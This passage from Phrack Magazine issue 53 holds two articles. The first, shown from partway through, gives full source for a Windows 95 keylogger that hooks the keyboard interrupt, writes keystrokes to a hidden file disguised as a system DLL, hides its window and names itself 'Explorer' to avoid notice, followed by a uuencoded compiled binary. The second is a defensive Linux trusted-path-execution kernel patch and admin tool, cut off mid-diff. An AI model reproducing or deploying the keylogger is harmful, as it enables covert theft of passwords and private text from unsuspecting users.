* This will ONLY compile with BORLANDC V2.0 small model.
|
|||
|
* For other compilers you will have to change newint9()
|
|||
|
* and who knows what else :)
|
|||
|
*
|
|||
|
* Captures ALL interesting keystrokes from WINDOWS applications
|
|||
|
* but NOT from DOS boxes.
|
|||
|
* Tested OK on WFW 3.11, Win95 OSR2 and Win98 Beta 3.
|
|||
|
*/
|
|||
|
|
|||
|
#include <windows.h>
|
|||
|
#include <string.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <stdio.h>
|
|||
|
#include <dos.h>
|
|||
|
|
|||
|
//#define LOGFILE "~473C96.TMP" //Name of log file in WINDOWS\TEMP
|
|||
|
#define LOGFILE "POWERX.DLL" //Name of log file in WINDOWS\SYSTEM
|
|||
|
#define LOGMAXSIZE 2097152 //Max size of log file (2Megs)
|
|||
|
|
|||
|
#define HIDDEN 2
|
|||
|
#define SEEK_END 2
|
|||
|
|
|||
|
#define NEWVECT 018h // "Unused" int that is used to call old
|
|||
|
// int 9 keyboard routine.
|
|||
|
// Was used for ROMBASIC on XT's
|
|||
|
// Change it if you get a conflict with some
|
|||
|
// very odd program. Try 0f9h.
|
|||
|
|
|||
|
/************* Global Variables in DATA SEGment ****************/
|
|||
|
|
|||
|
HWND hwnd; // used by newint9()
|
|||
|
unsigned int offsetint; // old int 9 offset
|
|||
|
unsigned int selectorint; // old int 9 selector
|
|||
|
unsigned char scancode; // scan code from keyboard
|
|||
|
|
|||
|
//WndProc
|
|||
|
char sLogPath[160];
|
|||
|
int hLogFile;
|
|||
|
long lLogPos;
|
|||
|
char sLogBuf[10];
|
|||
|
|
|||
|
//WinMain
|
|||
|
char szAppName[]="Explorer";
|
|||
|
MSG msg;
|
|||
|
WNDCLASS wndclass;
|
|||
|
|
|||
|
/***************************************************************/
|
|||
|
|
|||
|
//
|
|||
|
//__________________________
|
|||
|
void interrupt newint9(void) //This is the new int 9 (keyboard) code
|
|||
|
// It is a hardware Interrupt Service Routine. (ISR)
|
|||
|
{
|
|||
|
scancode=inportb(0x60);
|
|||
|
if((scancode<0x40)&&(scancode!=0x2a)) {
|
|||
|
if(peekb(0x0040, 0x0017)&0x40) { //if CAPSLOCK is active
|
|||
|
// Now we have to flip UPPER/lower state of A-Z only! 16-25,30-38,44-50
|
|||
|
if(((scancode>15)&&(scancode<26))||((scancode>29)&&(scancode<39))||
|
|||
|
((scancode>43)&&(scancode<51))) //Phew!
|
|||
|
scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program
|
|||
|
}//if CAPSLOCK
|
|||
|
if(peekb(0x0040, 0x0017)&3) //if any shift key is pressed...
|
|||
|
scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program
|
|||
|
if(scancode==26) //Nasty ^Z bug in convert program
|
|||
|
scancode=129; //New code for "["
|
|||
|
|
|||
|
//Unlike other Windows functions, an application may call PostMessage
|
|||
|
// at the hardwareinterrupt level. (Thankyou Micr$oft!)
|
|||
|
PostMessage(hwnd, WM_USER, scancode, 0L); //Send scancode to WndProc()
|
|||
|
}//if scancode in range
|
|||
|
|
|||
|
asm { //This is very compiler specific, & kinda ugly!
|
|||
|
pop bp
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
int NEWVECT // Call the original int 9 Keyboard routine
|
|||
|
iret // and return from interrupt
|
|||
|
}
|
|||
|
}//end newint9
|
|||
|
|
|||
|
|
|||
|
//This is the "callback" function that handles all messages to our "window"
|
|||
|
//_____________________________________________________________________
|
|||
|
long FAR PASCAL WndProc(HWND hwnd,WORD message,WORD wParam,LONG lParam)
|
|||
|
{
|
|||
|
|
|||
|
//asm int 3; //For Soft-ice debugging
|
|||
|
//asm int 18h; //For Soft-ice debugging
|
|||
|
|
|||
|
switch(message) {
|
|||
|
case WM_CREATE: // hook the keyboard hardware interupt
|
|||
|
asm {
|
|||
|
pusha
|
|||
|
push es
|
|||
|
push ds
|
|||
|
// Now get the old INT 9 vector and save it...
|
|||
|
mov al,9
|
|||
|
mov ah,35h // into ES:BX
|
|||
|
int 21h
|
|||
|
push es
|
|||
|
pop ax
|
|||
|
mov offsetint,bx // save old vector in data segment
|
|||
|
mov selectorint,ax // /
|
|||
|
mov dx,OFFSET newint9 // This is an OFFSET in the CODE segment
|
|||
|
push cs
|
|||
|
pop ds // New vector in DS:DX
|
|||
|
mov al,9
|
|||
|
mov ah,25h
|
|||
|
int 21h // Set new int 9 vector
|
|||
|
pop ds // get data seg for this program
|
|||
|
push ds
|
|||
|
// now hook unused vector
|
|||
|
// to call old int 9 routine
|
|||
|
mov dx,offsetint
|
|||
|
mov ax,selectorint
|
|||
|
mov ds,ax
|
|||
|
mov ah,25h
|
|||
|
mov al,NEWVECT
|
|||
|
int 21h
|
|||
|
// Installation now finished
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
popa
|
|||
|
} // end of asm
|
|||
|
|
|||
|
//Get path to WINDOWS directory
|
|||
|
if(GetWindowsDirectory(sLogPath,150)==0) return 0;
|
|||
|
|
|||
|
//Put LOGFILE on end of path
|
|||
|
strcat(sLogPath,"\\SYSTEM\\");
|
|||
|
strcat(sLogPath,LOGFILE);
|
|||
|
do {
|
|||
|
// See if LOGFILE exists
|
|||
|
hLogFile=_lopen(sLogPath,OF_READ);
|
|||
|
if(hLogFile==-1) { // We have to Create it
|
|||
|
hLogFile=_lcreat(sLogPath,HIDDEN);
|
|||
|
if(hLogFile==-1) return 0; //Die quietly if can't create LOGFILE
|
|||
|
}
|
|||
|
_lclose(hLogFile);
|
|||
|
|
|||
|
// Now it exists and (hopefully) is hidden....
|
|||
|
hLogFile=_lopen(sLogPath,OF_READWRITE); //Open for business!
|
|||
|
if(hLogFile==-1) return 0; //Die quietly if can't open LOGFILE
|
|||
|
lLogPos=_llseek(hLogFile,0L,SEEK_END); //Seek to the end of the file
|
|||
|
if(lLogPos==-1) return 0; //Die quietly if can't seek to end
|
|||
|
if(lLogPos>LOGMAXSIZE) { //Let's not fill the harddrive...
|
|||
|
_lclose(hLogFile);
|
|||
|
_chmod(sLogPath,1,0);
|
|||
|
if(unlink(sLogPath)) return 0; //delete or die
|
|||
|
}//if file too big
|
|||
|
} while(lLogPos>LOGMAXSIZE);
|
|||
|
break;
|
|||
|
|
|||
|
case WM_USER: // A scan code....
|
|||
|
*sLogBuf=(char)wParam;
|
|||
|
_write(hLogFile,sLogBuf,1);
|
|||
|
break;
|
|||
|
|
|||
|
case WM_ENDSESSION: // Is windows "restarting" ?
|
|||
|
case WM_DESTROY: // Or are we being killed ?
|
|||
|
asm{
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
mov dx,offsetint
|
|||
|
mov ds,selectorint
|
|||
|
mov ax,2509h
|
|||
|
int 21h //point int 09 vector back to old
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
}
|
|||
|
_lclose(hLogFile);
|
|||
|
PostQuitMessage(0);
|
|||
|
return(0);
|
|||
|
} //end switch
|
|||
|
|
|||
|
//This handles all the messages that we don't want to know about
|
|||
|
return DefWindowProc(hwnd,message,wParam,lParam);
|
|||
|
}//end WndProc
|
|||
|
|
|||
|
/**********************************************************/
|
|||
|
int PASCAL WinMain (HANDLE hInstance, HANDLE hPrevInstance,
|
|||
|
LPSTR lpszCmdParam, int nCmdShow)
|
|||
|
{
|
|||
|
|
|||
|
if (!hPrevInstance) { //If there is no previous instance running...
|
|||
|
wndclass.style = CS_HREDRAW | CS_VREDRAW;
|
|||
|
wndclass.lpfnWndProc = WndProc; //function that handles messages
|
|||
|
// for this window class
|
|||
|
wndclass.cbClsExtra = 0;
|
|||
|
wndclass.cbWndExtra = 0;
|
|||
|
wndclass.hInstance = hInstance;
|
|||
|
wndclass.hIcon = NULL;
|
|||
|
wndclass.hCursor = NULL;
|
|||
|
wndclass.hbrBackground = NULL;
|
|||
|
wndclass.lpszClassName = szAppName;
|
|||
|
|
|||
|
RegisterClass (&wndclass);
|
|||
|
|
|||
|
hwnd = CreateWindow(szAppName, //Create a window
|
|||
|
szAppName, //window caption
|
|||
|
WS_OVERLAPPEDWINDOW, //window style
|
|||
|
CW_USEDEFAULT, //initial x position
|
|||
|
CW_USEDEFAULT, //initial y position
|
|||
|
CW_USEDEFAULT, //initial x size
|
|||
|
CW_USEDEFAULT, //initial y size
|
|||
|
NULL, //parent window handle
|
|||
|
NULL, //Window Menu handle
|
|||
|
hInstance, //program instance handle
|
|||
|
NULL); //creation parameters
|
|||
|
|
|||
|
//ShowWindow(hwnd,nCmdShow); //We don't want no
|
|||
|
//UpdateWindow(hwnd); // stinking window!
|
|||
|
|
|||
|
while (GetMessage(&msg,NULL,0,0)) {
|
|||
|
TranslateMessage(&msg);
|
|||
|
DispatchMessage(&msg);
|
|||
|
}
|
|||
|
}//if no previous instance of this program is running...
|
|||
|
return msg.wParam; //Program terminates here after falling out
|
|||
|
} //End of WinMain of the while() loop.
|
|||
|
<-->
|
|||
|
<++> EX/win95log/W95KLOG.DEF
|
|||
|
;NAME is what shows in CTRL-ALT-DEL Task list... hmmmm
|
|||
|
NAME Explorer
|
|||
|
DESCRIPTION 'Explorer'
|
|||
|
EXETYPE WINDOWS
|
|||
|
CODE PRELOAD FIXED
|
|||
|
DATA PRELOAD FIXED SHARED
|
|||
|
HEAPSIZE 2048
|
|||
|
STACKSIZE 8096
|
|||
|
<-->
|
|||
|
<++> EX/win95log/W95KLOG.EXE.uue
|
|||
|
begin 600 W95KLOG.EXE
|
|||
|
M35H"`08````$``\`__\``+@`````````0```````````````````````````
|
|||
|
M````````````````````D````+H0``X?M`G-(;@!3,TAD)!4:&ES('!R;V=R
|
|||
|
M86T@;75S="!B92!R=6X@=6YD97(@36EC<F]S;V9T(%=I;F1O=W,N#0HD````
|
|||
|
M````````````3D4%"FT``@```````@,"```(H!\```$````"``(``@`,`$``
|
|||
|
M4`!0`%P`8`#_```````)`````@@!``<``````P(`U05`#=4%!@`F`F$,)@((
|
|||
|
M17AP;&]R97(````!``@```9+15).14P$55-%4@``"$5X<&QO<F5R````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M`````````````````````````````````````````````)K__P``"\!U`^G$
|
|||
|
M`(P&%@")'AP`B38:`(D^&`")%AX`N/__4)K__P``,\`>![\"`;DF`BO/_/.J
|
|||
|
M,\!0FO__``#_-A@`FO__```+P'4#Z8``M`#-&HD6(`")#B(`M##-(:,D`)K_
|
|||
|
M_P``J0$`=`;'!A(`"`#WP@0`=`;'!A0``0",V([`O@(!OP(!Z$X`_S88`/\V
|
|||
|
M&@#_-A8`_S8<`/\V'@#H(0-0Z-`#C-B.P+X"`;\"`>AG`/\6<@#_%G0`_Q9V
|
|||
|
M`+C__U":__\``(I&`K1,S2&P_U#HH0.T3,TAM/^+UXO>.]]T%R:`/_]T#"8X
|
|||
|
M9P%W!B:*9P&+TX/#!NOE.]=T&XO:)H`_`";&!_\&=`<F_U\"!^O')O]7`@?K
|
|||
|
MP,.T`(O7B]X[WW07)H`__W0,)CAG`7(&)HIG`8O3@\,&Z^4[UW0;B]HF@#\`
|
|||
|
M)L8'_P9T!R;_7P('Z\<F_U<"!^O`PU!345(&'E975;W__X[=B^RZ8`#LHC(!
|
|||
|
M@#XR`4!S=X`^,@$J='"X0`".P";V!A<`0'0O@#XR`0]V!X`^,@$:<AR`/C(!
|
|||
|
M'78'@#XR`2=R#H`^,@$K=@R`/C(!,W,%@#8R`8"X0`".P";V!A<``W0%@#8R
|
|||
|
M`8"`/C(!&G4%Q@8R`8'_-A0!:``$H#(!M`!0:@!J`)K__P``75]>'P=:65M8
|
|||
|
MS1C/75]>'P=:65M8SXS8D$55B^P>CMA6BW8,B\8]%@!U`^EE`7<0/0$`=!8]
|
|||
|
M`@!U`^E6`>EZ`3T`!'4#Z30!Z6\!8`8>L`FT-<TA!EB)'C`!H^0!NO__#A^P
|
|||
|
M";0ES2$?'HL6,`&AY`&.V+0EL!C-(1\'81YH1`%HE@":__\```O`=0<STC/`
|
|||
|
MZ3D!:%T`:$0!Z+("@\0$:&8`:$0!Z*8"@\0$'FA$`6H`FO__``"C.`&#/C@!
|
|||
|
M_W4<'FA$`6H"FO__``"C.`&#/C@!_W4',](SP.GP`/\V.`&:__\``!YH1`%J
|
|||
|
M`IK__P``HS@!@SXX`?]U!S/2,\#IRP#_-C@!:@!J`&H"FO__``")%C8!HS0!
|
|||
|
M@SXV`?]U#H,^-`'_=0<STC/`Z:``@SXV`2!\,7\'@SXT`0!V*/\V.`&:__\`
|
|||
|
M`&H`:@%H1`'H?@&#Q`9H1`'H+P)$1`O`=`8STC/`ZVB#/C8!('X#Z3W_=4J#
|
|||
|
M/C0!`'8#Z3'_ZSZ*1@JB.@%J`6@Z`?\V.`'H#P*#Q`;K)U(>BQ8P`8X>Y`&X
|
|||
|
M"27-(1]:_S8X`9K__P``:@":__\``#/2,\#K$O]V#E;_=@K_=@C_=@::__\`
|
|||
|
M`%X?74W*"@!5B^Q6BW8,@WX*`'0#Z98`QP86`0,`C`X:`<<&&`'__\<&'`$`
|
|||
|
M`,<&'@$``(DV(`''!B(!``#'!B0!``#'!B8!``",'BX!QP8L`50`'F@6`9K_
|
|||
|
M_P``'FA4`!YH5`!HSP!J`&@`@&@`@&@`@&@`@&H`:@!6:@!J`)K__P``HQ0!
|
|||
|
MZQ(>:`(!FO__```>:`(!FO__```>:`(!:@!J`&H`FO__```+P'7;H08!7EW"
|
|||
|
M"@!5B^Q=PU6+[.L*BQYX`-'C_Y?F`:%X`/\.>``+P'7K_W8$Z!#\65W#58OL
|
|||
|
M@SYX`"!U!;@!`.L3BQYX`-'CBT8$B8?F`?\&>``SP%W#58OLBTX(M$.*1@:+
|
|||
|
M5@3-(7(#D>L$4.@"`%W#58OL5HMV!`OV?!6#_EA^`[Y7`(DVH@"*A*0`F(OP
|
|||
|
MZQ&+QO?8B_"#_B-_Y<<&H@#__XDV$`"X__]>7<("`%6+[(M>!-'C@:=Z`/_]
|
|||
|
MM$**1@J+7@2+3@B+5@;-(7("ZP50Z)W_F5W#58OL5E?\BWX$'@>+US+`N?__
|
|||
|
M\JZ-=?^+?@:Y___RKO?1*_F']_?&`0!T`J1)T>GSI7,!I))?7EW#58OLM$&+
|
|||
|
M5@3-(7($,\#K!%#H3?]=PU6+[(M>!-'C]X=Z```(=!.X`@!0,\`STE!2_W8$
|
|||
|
MZ&C_@\0(M$"+7@2+3@B+5@;-(7(/4(M>!-'C@8]Z```06.L$4.@&_UW#&0`#
|
|||
|
M`0$``0!;``,!)0`!`!<``P$\``$`'@`#`44``@`%``,!9``!`(0``P'%``$`
|
|||
|
M&``#`6($`@!L``,!4P0"`'(``P%*!`(`<0`#`3P$`@`I``,!%00"`#D`!0#B
|
|||
|
M`P$`!P(#`;D#`@!K``,!H0,"``8``P&:`P$`40`#`3(#`0!1``,!_0(!`%0`
|
|||
|
M`P'=`@$`50`#`=("`0!1``,!N`(!`%,``P&C`@$`50`#`74"`0"&``4`3P(!
|
|||
|
M`%P!`P'M`0(`;@`"`&8!`@!4````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````#"X`17AP;&]R97(`7%-94U1%35P`4$]715)8+D1,3```<@1R!'($```!
|
|||
|
M(`(@`B`$H`*@________________________________________````$P("
|
|||
|
M!`4&"`@(%!4%$_\6!1$"_________________P4%____________________
|
|||
|
M_P__(P+_#_____\3__\"`@4/`O___Q/__________R/_____(_\3_P``````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
M````````````````````````````````````````````````````````````
|
|||
|
!````
|
|||
|
`
|
|||
|
end
|
|||
|
<-->
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 08 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ Linux Trusted Path Execution Redux
|
|||
|
|
|||
|
|
|||
|
--------[ Krzysztof G. Baranowski <kgb@manjak.knm.org.pl>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
---[ Introduction
|
|||
|
|
|||
|
|
|||
|
The idea of trusted path execution is good, however the implementation which
|
|||
|
appeared in Phrack 52-06 may be a major annoyance even to the root itself, eg.
|
|||
|
old good INN newsserver keeps most of its control scripts in directories owned
|
|||
|
by news, so it would be not possible to run them, when the original TPE patch
|
|||
|
was applied. The better solution would be to have some kind of access list
|
|||
|
where one could add and delete users allowed to run programs. This can be
|
|||
|
very easily achieved, all you have to do is to write a kernel device driver,
|
|||
|
which would allow you to control the access list from userspace by using
|
|||
|
ioctl() syscalls.
|
|||
|
|
|||
|
|
|||
|
---[ Implementation
|
|||
|
|
|||
|
|
|||
|
The whole implementation consists of a kernel patch and an userspace program.
|
|||
|
The patch adds a new driver to the kernel source tree and performs a few minor
|
|||
|
modifications. The driver registers itself as a character device called "tpe",
|
|||
|
with a major number of 40, so in /dev you must create a char device "tpe" with
|
|||
|
major number of 40 and a minor number of 0 (mknod /dev/tpe c 40 0). The most
|
|||
|
important parts of the driver are:
|
|||
|
|
|||
|
a) access list of non-root users allowed to run arbitrary programs
|
|||
|
(empty by default, MAX_USERS can be increased in
|
|||
|
include/linux/tpe.h),
|
|||
|
|
|||
|
b) tpe_verify() function, which checks whether a user should be
|
|||
|
allowed to run the program and optionally logs TPE violation
|
|||
|
attempts. The check if should we use tpe_verify() is done before
|
|||
|
the program will be executed in fs/exec.c. If user is not root
|
|||
|
we perform two checks and allow execution only in two cases:
|
|||
|
|
|||
|
1) if the directory is owned by root and is not group or
|
|||
|
world writable (this check covers binaries located
|
|||
|
in /bin, /usr/bin, /usr/local/bin/, etc...).
|
|||
|
|
|||
|
2) If the above check fails, we allow to run the program
|
|||
|
only if the user is on our access list, and the program
|
|||
|
is located in a directory owned by that user, which
|
|||
|
is not group or world writable.
|
|||
|
|
|||
|
All other binaries are considered untrusted and will not be allowed
|
|||
|
to run. The logging of TPE violation attempts is a sysctl option
|
|||
|
(disabled by default). You can control it via /proc filesystem:
|
|||
|
echo 1 > /proc/sys/kernel/tpe
|
|||
|
will enable the logging:
|
|||
|
echo 0 > /proc/sys/kernel/tpe
|
|||
|
will turn it off. All these messages are logged at KERN_ALERT
|
|||
|
priority.
|
|||
|
|
|||
|
c) tpe_ioctl() function, is our gate to/from the userspace. The
|
|||
|
driver supports three ioctls:
|
|||
|
|
|||
|
1) TPE_SCSETENT - add UID to the access list,
|
|||
|
2) TPE_SCDELENT - delete UID from the access list,
|
|||
|
3) TPE_SCGETENT - get entry from the access list.
|
|||
|
|
|||
|
Only root is allowed to perform these ioctl()s.
|
|||
|
|
|||
|
The userspace program called "tpadm" is very simple. It opens /dev/tpe and
|
|||
|
performs an ioctl() with arguments as given by user.
|
|||
|
|
|||
|
|
|||
|
---[ In Conclusion
|
|||
|
|
|||
|
|
|||
|
Well, that's all. Except for the legal blurb [1]:
|
|||
|
|
|||
|
"As usual, there are two main things to consider:
|
|||
|
1. You get what you pay for.
|
|||
|
2. It is free.
|
|||
|
|
|||
|
The consequences are that I won't guarantee the correctness of this document,
|
|||
|
and if you come to me complaining about how you screwed up your system because
|
|||
|
of wrong documentation, I won't feel sorry for you. I might even laugh at you.
|
|||
|
|
|||
|
But of course, if you _do_ manage to screw up your system using this I'd like
|
|||
|
to hear of it. Not only to have a great laugh, but also to make sure that
|
|||
|
you're the last RTFMing person to screw up.
|
|||
|
|
|||
|
In short, e-mail your suggestions, corrections and / or horror stories to
|
|||
|
<kgb@manjak.knm.org.pl>."
|
|||
|
|
|||
|
Krzysztof G. Baranowski - President of the Harmless Manyacs' Club
|
|||
|
http://www.knm.org.pl/ <prezes@manjak.knm.org.pl>
|
|||
|
--
|
|||
|
[1] My favorite one, taken from Linux kernel Documentation/sysctl/README,
|
|||
|
written by Rik van Riel <H.H.vanRiel@fys.ruu.nl>.
|
|||
|
|
|||
|
|
|||
|
----[ The code
|
|||
|
|
|||
|
<++> EX/tpe-0.02/Makefile
|
|||
|
#
|
|||
|
# Makefile for the Linux TPE Suite.
|
|||
|
# Copyright (C) 1998 Krzysztof G. Baranowski. All rights reserved.
|
|||
|
#
|
|||
|
# Change this to suit your requirements
|
|||
|
CC = gcc
|
|||
|
CFLAGS = -Wall -Wstrict-prototypes -g -O2 -fomit-frame-pointer \
|
|||
|
-pipe -m386
|
|||
|
|
|||
|
all: tpadm patch
|
|||
|
|
|||
|
tpadm: tpadm.c
|
|||
|
$(CC) $(CFLAGS) -o tpadm tpadm.c
|
|||
|
@strip tpadm
|
|||
|
|
|||
|
patch:
|
|||
|
@echo
|
|||
|
@echo "You must patch, reconfigure, recompile your kernel"
|
|||
|
@echo "and create /dev/tpe (character, major 40, minor 0)"
|
|||
|
@echo
|
|||
|
|
|||
|
clean:
|
|||
|
rm -f *.o core tpadm
|
|||
|
<-->
|
|||
|
<++> EX/tpe-0.02/tpeadm.c
|
|||
|
/*
|
|||
|
* tpe.c - tpe administrator
|
|||
|
*
|
|||
|
* Copyright (C) 1998 Krzysztof G. Baranowski. All rights reserved.
|
|||
|
*
|
|||
|
* This file is part of the Linux TPE Suite and is made available under
|
|||
|
* the terms of the GNU General Public License, version 2, or at your
|
|||
|
* option, any later version, incorporated herein by reference.
|
|||
|
*
|
|||
|
*
|
|||
|
* Revision history:
|
|||
|
*
|
|||
|
* Revision 0.01: Thu Apr 6 20:27:33 CEST 1998
|
|||
|
* Initial release for alpha testing.
|
|||
|
* Revision 0.02: Sat Apr 11 21:58:06 CEST 1998
|
|||
|
* Minor cosmetic fixes.
|
|||
|
*
|
|||
|
*/
|
|||
|
|
|||
|
static const char *version = "0.02";
|
|||
|
|
|||
|
#include <linux/tpe.h>
|
|||
|
#include <sys/types.h>
|
|||
|
#include <sys/stat.h>
|
|||
|
#include <sys/ioctl.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <string.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <errno.h>
|
|||
|
#include <ctype.h>
|
|||
|
#include <stdio.h>
|
|||
|
#include <fcntl.h>
|
|||
|
#include <pwd.h>
|
|||
|
|
|||
|
|
|||
|
void banner(void)
|
|||
|
{
|
|||
|
fprintf(stdout, "TPE Administrator, version %s\n", version);
|
|||
|
fprintf(stdout, "Copyright (C) 1998 Krzysztof G. Baranowski. "
|
|||
|
"All rights reserved.\n");
|
|||
|
fprintf(stdout, "Report bugs to <kgb@manjak.knm.org.pl>\n");
|
|||
|
}
|
|||
|
|
|||
|
void usage(const char *name)
|
|||
|
{
|
|||
|
banner();
|
|||
|
fprintf(stdout, "\nUsage:\n\t%s command\n", name);
|
|||
|
fprintf(stdout, "\nCommands:\n"
|
|||
|
" -a username\t\tadd username to the access list\n"
|
|||
|
" -d username\t\tdelete username from the access list\n"
|
|||
|
" -s\t\t\tshow access list\n"
|
|||
|
" -h\t\t\tshow help\n"
|
|||
|
" -v\t\t\tshow version\n");
|
|||
|
}
|
|||
|
|
|||
|
void print_pwd(int pid)
|
|||
|
{
|
|||
|
struct passwd *pwd;
|
|||
|
|
|||
|
pwd = getpwuid(pid);
|
|||
|
if (pwd != NULL)
|
|||
|
fprintf(stdout, " %d\t%s\t %s \n",
|
|||
|
pwd->pw_uid, pwd->pw_name, pwd->pw_gecos);
|
|||
|
}
|
|||
|
|
|||
|
void print_entries(int fd)
|
|||
|
{
|
|||
|
int uid, i = 0;
|
|||
|
|
|||
|
fprintf(stdout, "\n UID\tName\t Gecos \n");
|
|||
|
fprintf(stdout, "-------------------------\n");
|
|||
|
while (i < MAX_USERS) {
|
|||
|
uid = ioctl(fd, TPE_SCGETENT, i);
|
|||
|
if (uid > 0)
|
|||
|
print_pwd(uid);
|
|||
|
i++;
|
|||
|
}
|
|||
|
fprintf(stdout, "\n");
|
|||
|
}
|
|||
|
|
|||
|
int name2uid(const char *name)
|
|||
|
{
|
|||
|
struct passwd *pwd;
|
|||
|
|
|||
|
pwd = getpwnam(name);
|
|||
|
if (pwd != NULL)
|
|||
|
return pwd->pw_uid;
|
|||
|
else {
|
|||
|
fprintf(stderr, "%s: no such user.\n", name);
|
|||
|
exit(EXIT_FAILURE);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
int add_entry(int fd, int uid)
|
|||
|
{
|
|||
|
int ret;
|
|||
|
errno = 0;
|
|||
|
|
|||
|
ret = ioctl(fd, TPE_SCSETENT, uid);
|
|||
|
if (ret < 0) {
|
|||
|
fprintf(stderr, "Couldn't add entry: %s\n", strerror(errno));
|
|||
|
exit(EXIT_FAILURE);
|
|||
|
}
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
int del_entry(int fd, int uid)
|
|||
|
{
|
|||
|
int ret;
|
|||
|
errno = 0;
|
|||
|
|
|||
|
ret = ioctl(fd, TPE_SCDELENT, uid);
|
|||
|
if (ret < 0) {
|
|||
|
fprintf(stderr, "Couldn't delete entry: %s\n", strerror(errno));
|
|||
|
exit(EXIT_FAILURE);
|
|||
|
}
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
int main(int argc, char **argv)
|
|||
|
{
|
|||
|
const char *name = "/dev/tpe";
|
|||
|
char *add_arg = NULL;
|
|||
|
char *del_arg = NULL;
|
|||
|
int fd, c;
|
|||
|
|
|||
|
errno = 0;
|
|||
|
|
|||
|
if (argc <= 1) {
|
|||
|
fprintf(stderr, "%s: no command specified\n", argv[0]);
|
|||
|
fprintf(stderr, "Try `%s -h' for more information\n", argv[0]);
|
|||
|
exit(EXIT_FAILURE);
|
|||
|
}
|
|||
|
|
|||
|
fd = open(name, O_RDWR);
|
|||
|
if (fd < 0) {
|
|||
|
fprintf(stderr, "Couldn't open file %s; %s\n", \
|
|||
|
name, strerror(errno));
|
|||
|
exit(EXIT_FAILURE);
|
|||
|
}
|
|||
|
|
|||
|
opterr = 0;
|
|||
|
|
|||
|
while ((c = getopt(argc, argv, "a:d:svh")) != EOF)
|
|||
|
switch (c) {
|
|||
|
case 'a':
|
|||
|
add_arg = optarg;
|
|||
|
add_entry(fd, name2uid(add_arg));
|
|||
|
break;
|
|||
|
case 'd':
|
|||
|
del_arg = optarg;
|
|||
|
del_entry(fd, name2uid(del_arg));
|
|||
|
break;
|
|||
|
case 's':
|
|||
|
print_entries(fd);
|
|||
|
break;
|
|||
|
case 'v':
|
|||
|
banner();
|
|||
|
break;
|
|||
|
case 'h':
|
|||
|
usage(argv[0]);
|
|||
|
break;
|
|||
|
default :
|
|||
|
fprintf(stderr, "%s: illegal option\n", argv[0]);
|
|||
|
fprintf(stderr, "Try `%s -h' for more information\n", argv[0]);
|
|||
|
exit(EXIT_FAILURE);
|
|||
|
}
|
|||
|
exit(EXIT_SUCCESS);
|
|||
|
}
|
|||
|
<-->
|
|||
|
<++> EX/tpe-0.02/kernel-tpe-2.0.32.diff
|
|||
|
diff -urN linux-2.0.32/Documentation/Configure.help linux/Documentation/Configure.help
|
|||
|
--- linux-2.0.32/Documentation/Configure.help Sat Sep 6 05:43:58 1997
|
|||
|
+++ linux/Documentation/Configure.help Sat Apr 11 21:30:40 1998
|
|||
|
@@ -3338,6 +3338,27 @@
|
|||
|
serial mice, modems and similar devices connecting to the standard
|
|||
|
serial ports.
|
|||
|
|
|||
|
+Trusted path execution (EXPERIMENTAL)
|
|||
|
+CONFIG_TPE
|
|||
|
+ This option enables trusted path execution. Binaries are considered
|
|||
|
+ `trusted` if they live in a root owned directory that is not group or
|
|||
|
+ world writable. If an attempt is made to execute a program from a non
|
|||
|
+ trusted directory, it will simply not be allowed to run. This is
|
|||
|
+ quite useful on a multi-user system where security is an issue. Users
|
|||
|
+ will not be able to compile and execute arbitrary programs (read: evil)
|
|||
|
+ from their home directories, as these directories are not trusted.
|
|||
|
+ A list of non-root users allowed to run binaries can be modified
|
|||
|
+ by using program "tpadm". You should have received it with this
|
|||
|
